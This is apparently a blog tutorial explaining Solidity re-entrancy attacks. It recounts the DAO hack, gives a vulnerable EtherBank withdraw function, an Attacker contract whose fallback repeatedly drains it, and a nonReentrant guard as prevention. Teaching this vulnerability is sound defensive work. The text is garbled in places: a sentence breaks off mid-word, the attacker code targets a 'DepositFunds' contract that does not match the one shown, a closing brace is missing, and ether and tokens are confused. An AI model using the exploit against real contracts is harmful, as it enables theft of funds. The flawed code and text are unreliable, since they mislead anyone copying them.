Re-entrancy attack is one of the oldest and most destructive attacks discovered in solidity smart contracts. Hopefully, you've heard of the 'DAO Hack'. This hack has a huge role to play in the popularity of 'Re-entrancy Attacks'. Over 3.6 million ETH were stolen back then, and today those are worth billions of dollars.
What is a Re-Entrancy Attack?
A re-entrancy attack occurs when a vulnerable contract makes an external call to a malicious contract. The malicious contract can then call back into the vulnerable contract while the vulnerable contract is still processing, in an attempt to drain its funds.
How Does A Re-entrancy Attack Work?
A re-entrancy attack involves two smart contracts: a vulnerable contract and a malicious contract. In the diagram below, Contract A is the vulnerable contract while Contract B is the malicious contract.
Say Contract A has a function send() that does just three things:
Checks the balance of ETH deposited by Contract B (or any other account)
Sends the ETH back to Contract B (or any other account that deposited)
Updates the balance of Contract B (or any other account that deposited) back to 0.
Since the balance gets updated after the ETH has been sent, Contract B can do some malicious stuff here. If Contract B was to create a fallback() or receive() function in its contract, which would execute when it received ETH, it could call the function send() in Contract A again.
Since Contract A hasn't yet updated the balance of Contract B to be 0 at that point, it would send ETH to Contract B again - and here lies the exploit, and Contract B could keep doing this until Contract A was comp
An Example of a Re-Entrancy Attack
The contracts below show how a re-entrancy attack can occur.
contract EtherBank {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
The vulnerability here comes when we send the user their requested amount of ether. In this case, the attacker calls withdraw() function. Since his balance has not yet been set to 0 after receiving his ether, he can transfer the more tokens even though he has already received tokens.
Here is a contract that an attacker can use to hack the vulnerable contract above.
contract Attacker {
DepositFunds public depositFunds;
constructor(address _depositFundsAddress) {
depositFunds = DepositFunds(_depositFundsAddress);
}
// Fallback is called when DepositFunds sends Ether to this contract.
fallback() external payable {
if (address(depositFunds).balance >= 1 ether) {
depositFunds.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
depositFunds.deposit{value: 1 ether}();
depositFunds.withdraw();
}
}
The attack function calls the withdraw function in the victim’s contract. When the token is received, the fallback function calls back the withdraw function. Since the check is passed, the vulnerable contract sends the token to the attacker, which triggers the fallback function.
How To Prevent Against Re-Entrancy Attack
To prevent re-entrancy attack in a Solidity smart contract, you should make sure:
That all state changes happen before calling external contracts, i.e., update balances or code internally before calling external code.
That you use OpenZeppelin has a Reentrancy Guard library that provides a modifier named non-reentrant which blocks re-entrance in functions you apply it. It works like the following:
modifier nonReentrant() { require(!locked, "No re-entrancy"); locked = true; _; locked = false; }